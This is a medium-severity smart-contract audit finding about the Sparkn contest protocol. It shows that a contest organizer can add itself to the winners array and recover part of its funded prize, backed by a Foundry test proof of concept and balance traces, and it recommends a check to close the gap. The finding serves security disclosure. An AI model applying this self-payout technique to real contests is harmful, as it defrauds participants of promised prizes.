Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: medium
Valid

Organizer (possible sponsor) can recover part of its funds after setting and funding the contest.

Summary

It is possible for the organizer to obtain/get funds back within the distribute function itself and by calling either deploy proxy and distribute or use meta transaction to send the signature to someone else to deploy proxy and distribute, as there is no check that impedes the organizer to be included into the winners array.

Vulnerability Details

According to “More Context” in README of Sparkn repo “If a contest is created and funded, there is no way to refund”. This categorization includes any percentage of the funds. But consider the following scenario:

1.- A new contest is set by the owner using setContest() function specifying all the pertinent parameters.
2.- The contest is funded by an organizer sending the corresponding ERC20 tokens.
3.- At this point, there are two possibilities for the sponsor (aka organizer) to get its funds back:

Since there is no check that ensures organizers cannot be included into the winners array (the only existing verification within this array is related to its length):

1.- If the organizer is included in the winners array, and its length equals one (meaning there will be only the organizer in the array), he can call the deployProxyandDistribute function, or even deployProxyAndDistributeBySignature to distribute the prize only to him (minus COMISSION FEE). It might be possible even for the owner to execute this transaction using the distributeByOwner, but for the sake of the scenario we can focus only with the previous functions.

2.- If the organizer is included in the winners array, and its length is greater than one (meaning there are more winners) the distribution will include of course other addresses as well, but the organizer might be able to still obtain a percentage of his funds back.

Nevertheless since the organizer is able to call the deploy functions, he can get this funds back after the contest close time.

The following PoC under test testIfAllConditionsMetThenUsdcSendingCallShouldSuceed proofs that a sponsor can be added to the winners array without restriction getting a percentage of his funds back. Minor modifications to the original test file where made to include a sponsor into the winners array and after running the complete evlauation where all the conditions are met, at the end of the test the balance of the sponsor will be increased because it is considered a winner:

function testIfAllConditionsMetThenUsdcSendingCallShouldSuceed()
public
setUpContestForNameAndSentAmountToken("James", jpycv2Address, 10000 ether)
{
// before
assertEq(MockERC20(usdcAddress).balanceOf(address(user1)), 0);
assertEq(MockERC20(usdcAddress).balanceOf(address(sponsor)), 0);
// deploy proxy
bytes32 randomId_ = keccak256(abi.encode("James", "001"));
bytes memory data = createDataToDistributeJpycv2();
vm.startPrank(organizer);
deployedProxy = proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), data);
vm.stopPrank();
proxyWithDistributorLogic = Distributor(address(deployedProxy));
// prepare data
address[] memory winners = new address[](2);
winners[0] = user1;
// Sponsor is included in the winner's array
winners[1] = sponsor;
uint256[] memory percentages_ = new uint256[](2);
percentages_[0] = 9000;
percentages_[1] = 500;
// sponsor send token to proxy by mistake
vm.startPrank(sponsor);
MockERC20(usdcAddress).transfer(deployedProxy, 1000 ether);
vm.stopPrank();
// If all conditions met then call should succeed
vm.startPrank(address(proxyFactory));
proxyWithDistributorLogic.distribute(usdcAddress, winners, percentages_, "");
vm.stopPrank();
// after this, token should be distributed correctly as expected
assertEq(MockERC20(usdcAddress).balanceOf(address(user1)), 900 ether);
assertEq(MockERC20(usdcAddress).balanceOf(address(sponsor)), 50 ether);
assertEq(MockERC20(usdcAddress).balanceOf(stadiumAddress), 50 ether);
}

At the beginning of the test the balance of user1 is 0 and we can see sponsor has already some balance:

[2563] MockERC20::balanceOf(user1: [0x000000000000000000000000000000000000000E]) [staticcall]
│ └─ ← 0
├─ [2563] MockERC20::balanceOf(sponsor: [0x000000000000000000000000000000000000000C]) [staticcall]
│ └─ ← 10000000000000000000000 [1e22]

But at the end, when contest is finished and prizes are distributed to winners, since sponsor is included into the array, and this is allowed by the contest, his balance is increased:

─ [563] MockERC20::balanceOf(user1: [0x000000000000000000000000000000000000000E]) [staticcall]
│ └─ ← 900000000000000000000 [9e20]
├─ [563] MockERC20::balanceOf(sponsor: [0x000000000000000000000000000000000000000C]) [staticcall]
│ └─ ← 9050000000000000000000 [9.05e21]

Impact

Considering that the organizer can be put into the winners array, it is possible for him to violate the philosophy of “supporters first”, meaning there will be a way to recover the majority (or part) of his funds after a contest is created and funded and after the contest close time is reached.

Tools Used

Static review

Recommendations

Ensure that winners != organizers during the creation of the contest.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.